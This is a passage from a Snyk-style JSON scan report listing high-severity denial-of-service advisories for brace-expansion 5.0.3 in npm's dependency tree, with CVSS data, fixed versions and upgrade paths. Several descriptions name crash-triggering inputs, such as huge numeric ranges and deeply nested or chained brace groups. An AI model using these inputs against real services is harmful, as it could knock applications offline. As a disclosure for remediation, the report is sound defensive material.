"glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": 